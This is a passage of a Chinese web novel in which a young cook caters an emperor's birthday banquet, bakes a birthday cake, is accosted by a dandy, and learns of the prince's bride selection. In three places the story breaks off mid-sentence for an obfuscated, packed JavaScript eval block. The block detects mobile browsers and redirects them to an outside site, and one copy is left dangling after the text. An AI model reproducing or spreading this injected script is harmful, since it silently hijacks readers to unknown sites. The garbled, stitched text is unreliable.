洪公公说:“不是肉的也不是素的,但是甜的,陛下喜吃甜吃,也赏过老奴许多,可是老奴觉得没有比那生日蛋糕更好吃的了。” 如此,好吃食铺毫无悬念地赢得了众位评审的青睐。 直到最后一个环节,比价格。 这却是梅映禾的弱项,因为她的价格最高,且比其他几家足足高出来三分之一。 几人不敢定夺报到了赵怀风那里,刚巧皇后娘娘也在,听闻拍案训斥:“陛下寿宴你们竟还舍不得花银子选最好的,想干什么。” 的确是这个理儿,几人吓得急急退出,如此,好吃食铺便被选定为操办陛下三十寿宴的唯一一家。 洪公公拉着梅映禾又交代了诸多事宜后,几人才出来,上了车发现周大厨不见了。 等了好一会儿周大厨才姗姗来迟,脸上带着得意的笑,“方才几家都是熟悉的同行,那位姓梁的便是状元楼的东家,他们以为咱们今日的菜品都是我的主意,现在后悔了,拉着我问东问西打听菜单,还想请我回去。” 梅映禾挑眉看他。 周大厨一垮脸,“小娘子莫要这样看我,当年这群过河拆桥的人看我受伤了把我像垃圾一样丢出来,现在想起我了,哼,我是一个字都没说,给他们臭骂了一顿。他们就是给我一座金山我也不回去,死都要死在小娘子这里。” 梅映禾:…… 那倒也不至于。 马车启动,门里管家跑出来拦住了车架,“小娘子慢走一步。” 梅映禾赶紧下车,“老管家可还有什么事?” 管家笑道:“方才陛下有赏,小娘子忘记拿了。” 说着将一只精致的红木雕花箱子放到梅映禾手上,那箱子看着不大却真是沉得很,梅映禾险些没接住,多亏小梅帮着托了一下这才没出丑。 管家道:“寿宴之事全权拜托小娘子了。” 梅映禾道了谢方才上车离去。 等车子拐出了巷子,远远地瞧不见了,梅映禾催着小梅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14262485|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打开箱子看看是什么这么沉。 小梅开了箱子,一车人都傻了眼,一箱子的金元宝啊,梅映禾这辈子都没见过这么多钱。 “陛下可真大方。” 半晌,梅映禾得出这样一个结论,这万寿宴是接对了。 那厢管家回去向赵行之禀报:“小娘子接了陛下的赏赐,想来很是欣喜。” 赵行之点头,嘴角挂起了笑,这场比拼到现在为止他一句话都没说,甚至都没露面。 都是梅小早自己挣来的。 即便是比拼的时候见过一回好吃食铺的阵仗了,到了万寿宴这日,晋王府上下还是被惊到了。 除了整齐划一干净利落的服装和用具菜品之外,更令众人叹服的是他们之间的默契配合。 来的人并不多,一位貌美干练的小娘子是东家,一位年长一些的主厨,一位高个子黑脸长得却是很甜的小娘子负责银钱的,还有一位大婶儿和一个小少年,只这五人是厨房里的,其他的人衣裳上绣的都是“梅花村”的字样,是来送菜送肉的。 这些人动作麻利不出声音,干完活儿的就悄悄离开,干净利落。管家事先多准备了几个打扫的婢子这会儿都抱着扫帚无所事事。 再看灶房里头,东家小娘子和大厨掌勺,身边各有一个打下手的,配合得天衣无缝,他们时不时说两句话,脸上都带着笑,轻松又自然,一看就是长期在一起磨合而且关系极好的。 管家笑着离去,这次的寿宴,尽可以放心了。 八个灶台,煎炒烹炸各两个,糖醋鱼要过两遍油,这是周大厨的拿手菜;佛跳墙要慢炖,占了一个灶台,梅映禾看着;排骨要焯热水,小梅帮忙在大锅里滚;葱姜蒜菜都需要大量的,阿十在一旁咚咚咚地切菜,手脚麻利有条不紊。 灶房里井然有序地忙碌着,晋王府的正门也迎来了各位尊贵的客人,王公贵族陆续前来,五品以上的官员都带着家眷,大家对于此次寿宴陛下的安排也是心知肚明,贺寿是第一要务,其次便是要给晋王殿下相看未来王妃。 是以,贵女们一个个花枝招展,面带喜色和三分娇羞,温婉谦逊的外表之下藏着蓬勃的野心和跃跃欲试的斗志,看上去抖擞得很。 前头宾客的情况梅映禾并不关心,眼看着菜品出得差不多了,管家来询问,“陛下问何时可开席?” 陛下是真饿了。 比拼那日梅映禾听洪公公提了一句,说陛下多日来身体抱恙,现在虽好了却食欲不振,于是便带了柠檬水来,对管家道:“管家大人可以先上柠檬蜜水,让陛下和客人们喝了润润喉开开胃。” 这柠檬蜜水管家喝过,口感甚好,随即答应叫人来端了出去。 不多时,寿宴的菜已准备就绪,婢子们一个个捧着餐盘鱼贯上菜,灶房里总算安静了下来。 没了煎炒烹炸的声音,梅映禾五人坐在门口的石凳上休息,周大厨的眼一直望着宴席的方向,不知道那边吃了是什么反应。 小梅也急躁地坐不住,还是张婶儿拉着她回厨房里去洗刷干活,手里头忙了,心里头就安静了。 阿十更是耐不住,索性跑出院子里去等消息。 只有梅映禾一人,捧着热茶踱着方步,看着这院子的风景,“你们不觉得这院子的造景十分别致吗?” 哪里有人有心思关心这些石头土块,没人理她。 罢了罢了,不解风情的俗人,梅映禾腹诽,想着过半个时辰蛋糕就要开始做了。 这时,阿十急匆匆跑进来,“管家阿叔来了。” 身后的管家提着袍角一路小跑过来,“小娘子,不……” 31. 某捞庆生既视感 “哎哟,妈耶。” 老管家跑得太急,脚下踉跄,匆匆赶了几步才稳住略微肥胖的身形,险些栽了跟头。 人至梅映禾近前的时候,一张本就慈眉善目的脸上带着和蔼可亲的笑,“小娘子别忙了,赶紧随我去,陛下要召见小娘子呢。” 啊?! 大家都围了过来: “管家阿叔可知是什么事。” “饭菜如何,陛下可还满意。” “只叫小娘子一人吗,会不会有危险?” …… 七嘴八舌吵得管家头大,赶紧挣扎道:“诸位诸位,放心,今日的寿宴陛下和娘娘都很满意,各位大臣和家眷们也都吃得十分称心如意,大可放心,大可放心。” 哦,甚好,甚好,大家总算松了一口气,一个个脸上扬起笑容。 小梅赶紧拉着梅映禾帮她整理头发,“要不要上个妆,再换身衣裳。” 梅映禾失笑,“我是厨娘,又不是选秀,这身衣裳就很好,我的围裙可不能摘了。张婶儿,蛋糕坯子您记得哈,蒸的时候看着时辰。” 蛋糕坯子是梅映禾教给张婶儿做的,要现做才松软好吃却又不能来不及,所以要把握时辰提前一些准备。 “还有水果,阿十,现切才新鲜。小梅姐,奶油记得打好。周叔,看着炉火,还有一道长寿面,断不能出差错。” 小娘子有条不紊地安排着,几人点头称是,随后各自忙碌。 这一切管家看在眼里,心中不觉赞叹,宠辱不惊,端的是一个大气稳重。先前还担心这位乡下来的小娘子会因为面圣而胆怯说错话,如今看来,是自己多虑了。 上一世做过国宴的梅映禾也算是见过大世面的了,此时的心态很是平稳。 交代好又整理了一下自己的头发和衣衫,梅映禾还特意拍了拍那绣字“好吃食铺”,冲管家道:“有劳阿叔带路了。” 王府实在是大,规矩森严,梅映禾她们只被允许在偏院儿忙碌,其他地方不得随意走动。老管家带着她穿廊走巷,路过花园子经过水池子,还有假山水榭、亭台楼阁和一重一重的院落……走了好久,终于隐约听到了丝竹之声。 想来是快到了,梅映禾感慨,不知道这是哪位王公贵族的宅子,真大啊,不仅大而且十分漂亮,花草树木都被打理得生机勃勃,虽然已至晚秋,万物凋敝的时节,可这里仍旧能让人看到生机勃勃的景象,绽放的秋菊、火红的柿子还有水里嬉戏的小鱼,无不彰显了屋主人是个热爱生活、懂得意趣的妙人。 “小娘子稍候。”管家示意她止住脚步,自己进去禀报。 丝竹之声渐止,有一小太监笑嘻嘻出来请她进去。 梅映禾大大方方地跟在小太监身后来到了正院儿里。 今日的寿宴是露天的,就在院子里围了三层分餐的餐桌,上首自然是尊贵的陛下和皇后,梅映禾随着小太监行礼、问安,听得上首的人声音很是和煦: “小娘子辛苦了,起来回话。” 这是十分优厚的待遇了,皇帝陛下比想象中更加有亲和力,梅映禾道谢起身站得笔直。 虽然陛下说了不用拘束,可是该有的规矩礼仪不能少,不然陛下或许不会跟她一个升斗小民计较,却是要害苦了教她规矩的人。 这个道理梅映禾懂,是以此刻端的四平八稳,规规矩矩。 这样稳重大方的人,更得赵怀风赞赏,“小娘子年方几何?” 梅映禾回话:“小女过了年就十七了。” 哟,还真是年轻有为,赵怀风更加好奇,“抬起头来让朕瞧瞧。” 梅映禾大大方方抬起脸,冲着上首端坐的帝后露出了灿烂的笑容,随后便赶紧重新微微低垂着脑袋,不再多看。 只那一眼,明媚如春风,灿烂若夏花,太阳底下被照得白皙近乎透明的面颊微微泛起薄薄的红晕,一张樱桃小口不点自朱,眸光流转、清澈潋滟。 这是一种让人看得目瞪口呆的美,而拥有这样盛世美颜的小娘子似乎对自己的美貌毫不在意,不施脂粉、素面朝天,没有妩媚和娇羞,倒是显得更加大气、明艳和自信。 心中一跳,赵怀风继续问:“哪里人士,家中还有什么人,这好吃食铺是小娘子自己的吗?” 梅映禾一一回答,“民女家住梅花村,还有一个哥哥正在军营中历练,好吃食铺是民女的,不过也多亏了朋友和乡亲们的支援和帮助,所以,也不算是我一个人的,是大家共同努力的成果。” 她终究是不习惯宫中的规矩,说着说着就你呀我的,听得一旁的老管家汗流浃背。 赵怀风不但没计较,还赞她:“小娘子性子率性,很是难得。小小年纪厨艺竟如此了得,不知小娘子师承何人?” 梅映禾心道,她前世的老师是业内知名的大咖,可是于这个时代却是不能说的,说来也无人认识,但是老师曾经告诉她,“兴趣是最好的老师。” 梅映禾便把这话交了上去,“唯有真心喜欢,用心体会,烹饪必得良方。民女的老师就是热爱。” 这话说得颇具禅理,听得赵怀风眼神更加深邃了几分。 梅映禾丝毫没觉得应对陛下的问题需要打起精神提着口气,不管怎样,今日是陛下寿诞,只要不去故意触霉头,没有人会在自己的生日宴会上喊打喊杀吧。 如是想着,当赵怀风问到梅映禾想要什么赏赐的时候,梅映禾说:“民女从小在梅花村长大,父母早亡,蒙乡亲邻里把民女兄妹二人接济长大,民女没有什么想要的赏赐,只求陛下多看看梅花村,多给梅花村一个机会,我们的肉蛋蔬菜都是最好的,为此全村人付出了很大的努力,如今也已经开创出了新局面,恳请陛下多多关注。” 乡野村女竟能开口说出这样的话,着实让所有人感到惊讶,赵怀风重重地点头:“吃水不忘挖井人,能知恩图报,值得嘉奖。” 至于梅花村,陛下自然记得了,莫说陛下记得,就连当时在场的所有官员都记得了。在朝为官,人人头上都悬着一把刀。这些人见微知著,自然明白接下来陛下会着重关注这个小小的梅花村,在那之前该做的事情要做起来,莫要等到陛下问责…… 梅花村和好吃食铺今日可谓是出名出到了宫里头,日后满朝文武恐怕都是那里的常客了。 一番对话,梅映禾回答的真挚、坦率,让赵怀风颇为开怀,同这样美丽又坦率可爱的小娘子讲话还真是舒心。 算了算时辰,梅映禾觉得蛋糕坯子应当准备得差不多了,上一世,做蛋糕不是梅映禾分内的事,之所以也能练得炉火纯青完全就是她自己说的,热爱,热爱烹饪,更热爱吃。 就是爱吃蛋糕。 “陛下,民女今日有一份礼物送给陛下,民女想在这里现场做。” 梅映禾的请求自然被应允,这个时代厨师做饭是不会允许被参观的,个中秘方非嫡传弟子也不会被外人知晓的,这是行规也是大家都知道的。梅映禾非但不避讳还要当众表演。这份礼物实在新奇又特殊,所有人都十分期待。 蛋糕是三层的,梅映禾算了一下,大致每人都能吃到一口算是不错,也不能面面俱到,太小了显得小家子气,太大了口感美观度都会差强人意。 蛋糕胚子、奶油、裱花袋、水果等都被送来,梅映禾熟练地将奶油抹上去并打磨的十分光滑,然后在最上面一层裱花、写字,并且画了一个卡通版的皇帝陛下,旁边写着:万寿无疆。 字是不怎么样,可贵在可爱和这份心意。 下面两层奶油上则铺满了各种水果并点缀了精致的糕点。 大家看得好奇,也被梅映禾熟练的操作手法和蛋糕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14286074|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的美味彻底征服。 真是从未吃过这么好吃的糕点,香浓醇厚,有牛乳的香,有点心的甜,还有水果丰富的层次,更让人惊叹的是这道点心竟然可以做得如此大又如此精致,还……能写字画画。 蛋糕被奉上,梅映禾本能地唱起了生日歌:“祝你生日快乐……” 这首歌真的有魔力,即便是在大隶朝,大家也会随着她的歌声节拍自觉地抚掌应和,一个个看向寿星陛下,妥妥地某捞庆生既视感。 无疑,这次即兴发挥的蛋糕表演成为了今日万寿宴最大的亮点,梅映禾得到了丰厚的赏赐,以至于丰厚到让她有些恍惚。 回去的路上整个人都是晕头转向的,还走错了路。 这里实在太大了,这回又没了小太监带路,梅映禾左转右转,转到了一个园子里头。 这里假山水榭,满眼的菊花绽放,好不热闹,简直美得让人惊叹。 “小娘子是不是走错了路。” 就在梅映禾发呆的时候,一位身穿婢女衣裳的女子走过来问。 梅映禾赶紧说明情况,连连道歉,小婢女很是友好,给她指了路还叮嘱她:“小娘子千万莫走错,这晋王府规矩大,若是冲撞了贵人你便赶紧找李管家就好,能救你一命。” 哦,晋王府。 梅映禾忡愣了一下,随即赶紧道谢离去。 这里是七哥的王府,那这次万寿宴也是七哥张罗的吗,那她的胜出……一瞬间,梅映禾对自己产生了怀疑,可转瞬又一想,比拼那日是有那么多人在场的,她是靠着自己的实力胜出的,若是非要说七哥帮了她嘛……梅映禾想起来了,难怪他那么想让她参加这次万寿宴的争夺,想来是对她的实力十分有信心吧。 敏性如斯,梅映禾就是这样,不怀疑自己,不内耗,有实力就是有实力,赢得光明磊落有什么可自我怀疑的。 心情舒畅,脚步自然轻松。 梅映禾按照小婢女指的路走着,果然,眼前的景色越来越熟悉,她记得方才自己还夸赞过这里的一切都很别致,原来是七哥的巧思吗,还真是没看出来,这样温柔又浓墨重彩的园林布景,可是跟他那张冷脸和清冷的性子完全联系不到一起啊。 所以说嘛,人不可貌相,说不定七哥内心里也是个热情似火的人呢。 想起赵行之那张冷脸,和苦口婆心处心积虑让她参加万寿宴的种种,梅映禾笑了,还真是难为他了。 “晋王殿下今日为何没在宴席之上。” 隔墙后传来女声。 梅映禾下意识停下脚步,想了想,的确是哦,方才在寿宴上好像真的没有看到七哥。 “五娘子莫急,听说有军情奏报,殿下去处理了。” 先前那位小娘子长舒了一口气,“我等了他这么些年,如今他终于要宣肺了,算是让我等到了。不过今日的局面很是叵测,但是我不怕,除了皇后娘娘的表妹宁馨郡主以外,其他人不在话下。” “五娘子国色天香,而且那位郡主并不长期在京城,虽贵为郡主可全身上下的气度都没法跟五娘子你比,况且她还是皇后的表妹,听说晋王殿下选妃最不喜欢的就是亲上加亲。” “那是自然。”五娘子声音变得很轻快,“云策哥哥是个有实力的,最讨厌人家说他攀附权贵、网罗关系,那个宁馨郡主,啧啧啧……” 声音有些耳熟,梅映禾透过雕花棂窗看了一眼,哟,这不是夜市上抢簪子的小娘子嘛。 “所以,今日晋王殿下选妃,五娘子你稳操胜券。” 哦,原来今日是七哥选妃。 梅映禾心里一喜,这样大的喜事怎么七哥没告诉她。 “小美人,我们又见面了。” 一个令人讨厌的声音自头顶传来,梅映禾转身抬头,一个大扑棱蛾子一样的人站在眼前。 32. 孔雀开屏 日光照在头顶上,晃得眼睛眯起。 梅映禾只觉得眼前这人的穿戴竟比这满园子的花儿更加艳丽多彩。 印象中十岁以上的郎君都不会穿成这样了,绿锦袍配上彩粉的褙子,锦袍里头露出亮面锦缎的蓝色裤子,一双白色绣金线的革靴,头上簪了花,似还染了唇。 啧啧,梅映禾心道,油头粉面的小生也有让人觉得赏心悦目的,只是搁在这张男性化十足的脸上,实在有点儿吓人。 大约是看到了美人瞪大了双目,一瞬不错地盯着自己,薛展似乎很是得意,往前一步逼近梅映禾,“方才看到小娘子,我还以为是自己眼花了,自那日在夜市上相遇,本公子就再没见过比小娘子更俊俏的女子了,真是朝思暮想、夜不能寐,恨不能立时飞到小娘子身边去。” “哦,那薛公子怎么没来呢。”梅映禾问。 其实也是顺着话头随便一说,谁知小娘子竟然能接得住他的话。那薛展竟一时语塞,含混道:“本公子,最近事多,是以没时间干别的。” 面露尴尬,眼神却一刻也没离开梅映禾。 薛展是薛家唯一的儿子,也是薛大人夫妻老来得子,宠溺在所难免却也因为自小体弱,家中对他的要求就不甚高。吏部尚书薛谦,那是一个刚直不屈的大才子,无奈祖荫不庇,自己又终日忙碌,忽略了对孩子的教育,薛展整日惹事生非,最喜追着小娘子们跑,这些早已不是什么新鲜事儿了,甚至在陛下眼里也是挂过号的扶不上墙的烂泥。 上一次在夜市调戏梅映禾被赵行之带走之后,被狠狠地打了一顿,赵行之将人人绑着关了一夜,特意在第二日晨起将薛展扔在了各位大人上朝的必经之路。 这事闹到了陛下面前,薛展被狠狠地斥责了一顿后禁足在府内。 据说陛下罚他抄写大隶律法百遍,不抄完这辈子不能走出家门一步。那大隶律法厚厚一本足有几万条,这才两个月,人竟然堂而皇之地出现在了陛下的万寿宴上。 当然,这些梅映禾自是不知,但是看着眼前的大扑棱蛾子,实在有些头疼。 倒是不担心他会在光天化日之下敢做什么,在晋王府还是在陛下的万寿宴上,梅映禾料他没这个胆子。可是人毕竟在眼前,阴魂不散没完没了甚是烦人。 “你要做甚。”梅映禾对他没什么好脸色。 小娘子柳眉蹙起,别有一番娇俏霸道的韵味,竟惹得薛展内心澎湃,“在下薛展,字用夫,没想干什么,小娘子不必害怕,就是交个朋友,我们,算是朋友了吧。” 呸,谁要跟一个大扑棱蛾子交朋友。 梅映禾冷脸道:“我只是一个乡野村姑,一个抛头露面为生计奔波的俗人,不敢同薛公子称朋友,若是无事,告辞了。” 梅映禾说完便想走,孰料却被薛展一伸长臂拦住了去路。 漂亮的杏眸瞪得老大,梅映禾没好气道:“你干什么,这里可是晋王府,再这样我喊人了。” 为了彻底吓唬住他,梅映禾深吸一口气当即就要大喊,谁知薛展还真的怕了,为了阻止她大喊竟伸出手捂住了她的口鼻,“小娘子莫叫,我没有恶意。” “呜呜,呜呜。”两只大手一前一后捂住了她的脸和后脑勺,梅映禾被生擒,手舞足蹈挣扎着踢打着。 但是毕竟男女有别,那人又是个人高马大的,小娘子被拎在手里用尽全力挣扎也丝毫无用。 梅映禾气急了,天底下怎么会有这种厚颜无耻之人,也顾不得许多了,双脚离地的她拼命踢打,若是真是踢到了什么,也怪不得她了,梅映禾几乎使出了吃奶的劲儿。 好歹也不是完全无用,薛展就觉得这小娘子身形娇小却像那上了岸的鱼,怎么这么难按。 世人都说天下四大按不住:过年的猪,受惊的驴,生气的媳妇,上岸的鱼。 看来世人所言非虚,薛展想,手上的力道越发大了,竟然在小娘子的挣扎中咂摸出点儿按不住生气的媳妇的意趣,竟还有些脸热。 “你放开我。” “小娘子你听我解释。” “来人......” 就在二人“搏斗”之时,一个男人的声音传来,文明修一个箭步上前想要掰开薛展的胳膊解救梅映禾,孰料虽说那薛展体弱也并非学武之人,力气却不小,文明修一介书生竟也奈何不得他。 这已经不顾礼仪上来就动手了,薛展对小娘子有的是耐心,对男儿却十分粗暴,“文明修,滚一边儿去,惹毛了本公子要你好看。” 文明修丝毫不惧,强硬道:“那今日便试试吧,梅娘子可是许大人的义女,别怪本官没提醒薛公子,惹出了麻烦若是再像上回一样闹到陛下面前,就怕你兜不住。” 说到许且,薛展明显滞了一下,这个老头儿可是公认的难缠,怎么,这位梅娘子竟然是他的义女吗,什么时候的事,他怎么不知道。看来被禁足这些日子还是错过了太多消息了,薛展的脑子里百转千回,既然她是许大人的义女,那岂不就是官宦人家的出身咯,那他们就是门当户对了,也就是说,他可以提亲…… 若不是梅映禾趁着他胡思乱想的时候松了手劲儿狠狠踢了他一脚逃脱魔掌,恐怕薛展都要把未来孩子的名字想好了。 纨绔子弟薛大公子这回是动了真心了,被踢打得衣裳都脏了,脸上竟还带着真挚的笑,“多谢。” 只此一句,转身走了。 什么意思,梅映禾和文明修面面相觑不明所以,这人脑子是不是有点儿问题,怎么没头没脑的。 “小早没事吧。”文明修赶紧查看梅映禾是否受伤,拉着她的胳膊转着圈地看。 “没事,他没伤害我。”梅映禾赶紧解释。 文明修还是仔仔细细查看了一遍,这才松了手,“那便好,今日小早的表现实在不错,陛下对你赞不绝口,恭喜。” 他的脸上又露出谦谦君子的儒雅微笑,梅映禾也笑着还礼。 二人简单聊了两句便各自离去,殊不知这一切被站在高阁之上的赵行之尽收眼底。 若说薛展实在欠打,那文明修却是更让他生气。那两只爪子拉着小早的胳膊没完没了,心里打得什么主意,小早看不出来,他还看不出来吗,道貌岸然,一丘之貉。 晋王殿下虎着脸走了。 毕竟是陛下万寿宴,薛展没有挨打却也没能逃得过这一劫。 在众位参加万寿宴的臣子贵女们眼中,今日的晋王殿下格外耀眼。 或许是因为陛下万寿宴吧,又或许是因为这是在晋王府举办的第一个场宴会,又或者……众人纷纷猜测,晋王殿下已有了中意的人选,这才一反常态,毫不吝啬地展示自己的魅力。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14295018|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 撤掉了歌舞丝竹之声,赵行之提议,“各位世家子弟好好比拼一场,一展我大隶未来雄风,也能敦促年轻郎君们好好精进技艺,皇兄也能好好看看各位的文韬武略。” 这个提议好,既是为万寿宴助兴,又能各显神通,对于平日里勤学苦练的年轻后生们则是一个绝佳的展示机会,赵怀风当即同意,兴致浓厚。 “究竟如何比拼文武呢?”有人问,“诸如晋王殿下这样的文武全才又该如何选择呢。” “那便抽签,每人抽两次,选文则比拼诗词歌赋,选武则一对一比试。”赵行之给佑安递了个眼神,佑安下去准备。 “若是有人擅文不小心抽了武,那也只能……”赵行之轻笑了一下,“听天由命。” 晋王殿下人前人后一张冷脸且少言寡语,平素里与谁都不打交道,今日不但兴致勃勃要比拼,还亲自上阵一展风采,竟还能在他脸上看到笑容,这真是难得一见的奇观。 试问,谁不想看看晋王殿下的文采和雄风,在座的众位小娘子心中早已雀跃澎湃,春心荡漾了。 比拼的过程就是赵行之的个人表演秀,佑安心里奇怪,王爷今日是怎么了,按说若是想要展示风姿给小娘子看,可是小早娘子并不在现场也看不到啊,难不成王爷心里中意的人选另有其人。 佑安十分谨慎地扫视了一圈在场的小娘子们,暗自摇了摇头,王爷的眼光变差了,没有一个比得上小早娘子的。 这场比拼其实是冲着薛展去的,今日毕竟是万寿宴,赵行之想给自己找一个光明正大打人的由头。 果然,不出意外的,薛展这个从小体弱多病的人竟然抽到了比武,薛展愁眉苦脸,“我身子弱,现在还在吃药,这个不公平。” 用不着晋王发话就有人讥笑他,“难道说比拼文采,薛公子就可以吗?” 也对,哪个都不行,还有什么可挑的。 薛展硬着头皮应下,心里还盘算着,或许对方能够看在他父亲官职地位的份上手下留情,让他侥幸胜出也不是没有可能。 这位薛大公子的脑子的确简单了些,丝毫没有压力的薛展还试图在选武的人群中大发淫威,想着能吓唬几个是几个,直到他看到了对手是赵行之,这才明白过来是怎么一回事。 可是一切都晚了。 万寿宴最热闹最出彩的便是这场文韬武略的比拼,薛展被打了,但是打得名正言顺,打的光明正大,而且外表看上去没什么伤,殊不知晋王殿下用了内力,以至于薛展三个月没下得来床。 当然,对于一个病弱的人来讲,这样的事情司空见惯,甚至连薛大人夫妻都未曾当一回事,只当儿子丢了人,躲在床上偷懒呢。 还有一个跟着吃了教训的就是文明修,如出一辙的选择,昔日状元郎竟选了比武。 当然这回不是赵行之亲自上场,他只需要随便找个人跟他比试,文明修都得鼻青脸肿。 小惩大戒吧,打得就是他那双爪子。 心里觉得痛快,赵行之的脸上自然地露出笑容,还特意让人将消息装作无意地透漏到了后厨,梅映禾自然知道了。 不仅知道了这是七哥有意为之,还知道了七哥在比试中大放光彩,惹得小娘子们蠢蠢欲动。 “看来,今日不但是寿宴做得好,晋王殿下选妃也十分精彩。” 33. 晋王选妃 今年的万寿宴举办的别出心裁,不但宴席让赵怀风十分满意,就连晋王殿下准备的比拼也让人耳目一新。 皇帝陛下十分欣慰,和皇后对视一眼,二人都颇开怀,可照原计划执行。 本以为在万寿宴上逼迫赵行之选妃会惹他不快,当初二人商量的时候,赵怀风道,“云策不小了,就当朕拿着自己的寿诞逼迫他吧,喜事在先,他也不会驳了朕的面子。” 这才将事定了下来。 谁知这样一番比拼下来,竟让帝后看到了展翅开屏的孔雀王。这不是在炫耀、展示自己又是什么呢。 “看来今日的神秘选妃环节定会十分顺利。”皇后笑靥如花,冲着帝王说完这句话得意地看了一眼身后对选妃势在必得的自己的表妹。 皇后来自世家大族河东杨氏,自幼和赵怀风定亲,从小就是照着母仪天下的标准培养的,自然是雍容华贵、仪态万方。 而她的这位表妹却是与她十分不同。李绾和皇后连着表亲,父亲曾是一员武将,因救过先帝的命而得封宝肃亲王,又因为其表姐是当今皇后,李绾一直是杨皇后在赵怀风面前推荐的晋王妃的不二人选。 三年前李绾一家入京,被赵怀风封了宁馨郡主,这个意思其实已经很明显了,就是要与赵行之更加般配。 李绾其人如其名,相较于杨皇后的明艳奢华,李绾更加温婉柔情。细眉细眼典型的古典美人,白面红唇,削肩长颈弱柳扶风,声音轻且细,似溪水缓缓流淌,给人温柔和煦的印象,这才入京三载就已被冠“京城才女”的美名。 李绾抬头看了看自己的表姐,一张小脸红到了耳朵根儿,羞涩地点了点头露出浅浅的笑。 “朕也是没想到云策能这么快想通,早知如此何必瞒着他,早些告诉他也能让他好好准备。”赵怀风抬手招呼身边的小太监,“再给朕切一块蛋糕来。” 小太监忙不迭地下去了。 “陛下用心良苦,不过依臣妾看,现在这般更好,若是当真提前告知了云策,就怕他紧张,毕竟他从前是从不参与这种宴会的,倒不如现在这般自然流露的好。”皇后掩嘴笑道,“陛下今日是高兴的,那蛋糕臣妾吃得也极好。” 话题自然地落到了蛋糕上,赵怀风笑说:“既然皇后喜欢,日后便可宣那位店主娘子入宫,专门为皇后烹制。” “多谢陛下。”皇后娇羞道谢。 帝后感情一向极好,青梅竹马指腹为婚一起走到了万民敬仰的位置,无论后宫多少佳丽,皇后仍旧独领风骚多年,直到皇长子出生,后宫才陆续有了孩子。 既如此,赵怀风便也放心了,接下来的选妃就交给皇后了。 皇后起身,眼神扫视一圈后,含笑离去。 一言未发,在座的贵女们却都心知肚明,一个个依礼离去,带着雀跃的心情和家人殷切的眼神朝后殿而去。 虽说今日的万寿宴是晋王府招待,可一应伺候的都是宫里头的人,赵行之自然知道宴席后半程皇后要用后殿,只当是女眷们的小聚,并未在意。 故而,当赵怀风让他去后殿的时候,赵行之不明所以,“皇嫂和一众女眷们正在后殿小聚,臣弟过去恐不合适吧。” 这位一向聪明灵透的晋王殿下于这种事情上总是不开窍,赵怀风笑说:“没有什么不合适,就是为你而设的宴席。你皇嫂为了你的终身大事也是忙坏了,今日算是她给你的一个小小惊喜吧,方才在座的女眷们你可有看中的?” 本以为他已经猜到了,才那样在比拼的环节大放异彩,谁知换来的却是赵行之的目瞪口呆,“皇兄的意思是……选......”那个妃字是怎么也说不出口,赵行之推辞,“可是,为何没有事先告知臣弟,可是我……还没准备好。” “哎,朕看云策准备的极好,方才的展示让多少年轻小娘子们看直了眼。”赵怀飞的手掌一下一下地拍打着座椅扶手,笑着催他,“大丈夫何故扭扭捏捏,快去快去,莫叫你皇嫂等太久。” 什么叫搬起石头砸自己的脚,赵行之此刻后悔也晚了。 若是按照他一贯的行事作风,莫说这种比拼,就连这样的宴会他都是能推就推,从不参加,今日非但主动担负起了万寿宴的一应大小事宜,还主动参与比拼,谁又知道晋王殿下方才的表现竟是醉翁之意不在酒啊。 哎,有苦难言不提也罢,赵行之后悔不迭却也无奈,既如此,那便去走各过场吧。 晋王府是先皇御赐府邸,后殿本就应当是晋王妃的居所,这个暗示再明显不过了。贵女们虽早已得了消息,今日个个盛装打扮,但真到了晋王府的后殿,大家坐在一起,隔着一道屏风等待晋王殿下的抉择的时候,还是又紧张又兴奋的。 莫说她们会激动,就连听闻消息的梅映禾也跟着激动起来,“难怪他们说七哥在前院的比拼中拔得头筹,风姿绰约简直神武,原来是这个缘故。” 她一副了然于胸的样子,阿十不明,问:“什么缘故?” 小梅看了他一眼,笑说,“孔雀开屏你可见过?” 阿十摇头,“小梅姐打得什么哑谜。” 张婶儿在一旁也笑,“等你长大了遇见了心仪的小娘子,你也会孔雀开屏的。” 大家说笑着,梅映禾脑心心念念的都是选妃:“小梅姐,我们也去吧,也好帮七哥把把关。” 小梅失笑:“晋王殿下虽然是你的七哥,可是人家有陛下和皇后娘娘做主,哪里轮得到你这个半路捡来的妹妹操心。” 梅映禾看热闹的心思越发高涨,摇着小梅的胳膊央求,“小梅姐,你就陪我去看看吧,我还没见过那么多的美人呢。” 说完又想了想,“倒也不是我们想去看就能去看的,不如咱们做些糕点给送过去,不就能名正言顺地瞧热闹了。” 